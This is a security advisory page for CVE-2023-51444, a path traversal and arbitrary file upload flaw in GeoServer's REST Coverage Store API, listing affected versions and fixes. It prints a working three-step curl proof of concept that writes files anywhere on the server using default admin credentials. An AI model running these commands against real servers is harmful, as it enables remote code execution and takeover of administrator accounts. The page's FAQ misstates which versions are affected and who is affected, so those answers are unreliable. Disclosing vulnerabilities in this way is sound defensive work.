CVE-2023-51444: GeoServer arbitrary file upload vulnerability in REST Coverage Store API
First published: Wed Mar 20 2024(Updated: )
### Summary An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution. ### Details Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal. ### PoC Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory). ### Impact This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges. ### References https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| maven/org.geoserver:gs-restconfig | =2.24.0 | 2.24.1 |
| maven/org.geoserver:gs-platform | =2.24.0 | 2.24.1 |
| maven/org.geoserver:gs-restconfig | <2.23.4 | 2.23.4 |
| maven/org.geoserver:gs-platform | <2.23.4 | 2.23.4 |
| OSGeo GeoServer | <2.23.4 | |
| OSGeo GeoServer | =2.24.0 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
- https://github.com/geoserver/geoserver/security/advisories/GHSA-9v5q-2gwq-q9hq
- https://github.com/geoserver/geoserver/pull/7222
- https://github.com/geoserver/geoserver/commit/ca683170c669718cb6ad4c79e01b0451065e13b8
- https://github.com/geoserver/geoserver/commit/fe235b3bb1d7f05751a4a2ef5390c36f5c9e78ae
- https://osgeo-org.atlassian.net/browse/GEOS-11176
- https://nvd.nist.gov/vuln/detail/CVE-2023-51444
- https://github.com/advisories/GHSA-9v5q-2gwq-q9hq (Advisory)
Frequently Asked Questions
What is the severity of CVE-2023-51444?
CVE-2023-51444 is considered a high-severity vulnerability due to its potential to enable remote code execution.
How do I fix CVE-2023-51444?
To fix CVE-2023-51444, upgrade to version 2.24.1 or higher of the affected GeoServer packages.
Which versions of GeoServer are affected by CVE-2023-51444?
Versions 2.24.0 and 2.23.4 of GeoServer are affected by CVE-2023-51444.
What type of vulnerability is CVE-2023-51444?
CVE-2023-51444 is an arbitrary file upload vulnerability that can lead to remote code execution.
Who is affected by CVE-2023-51444?
Authenticated administrators with permissions to modify coverage stores via the REST Coverage Store API are affected by CVE-2023-51444.
- agent/title
- agent/weakness
- agent/type
- agent/first-publish-date
- agent/description
- collector/github-advisory-latest
- source/GitHub
- alias/GHSA-9v5q-2gwq-q9hq
- alias/CVE-2023-51444
- agent/software-canonical-lookup
- agent/references
- agent/severity
- agent/event
- agent/author
- collector/nvd-cve
- source/NVD
- collector/github-advisory
- collector/mitre-cve
- source/MITRE
- agent/last-modified-date
- agent/remedy
- agent/trending
- agent/source
- agent/softwarecombine
- agent/tags
- collector/nvd-api
- agent/software-canonical-lookup-request
- package-manager/maven
- vendor/geoserver
- canonical/osgeo geoserver
- version/osgeo geoserver/2.24.0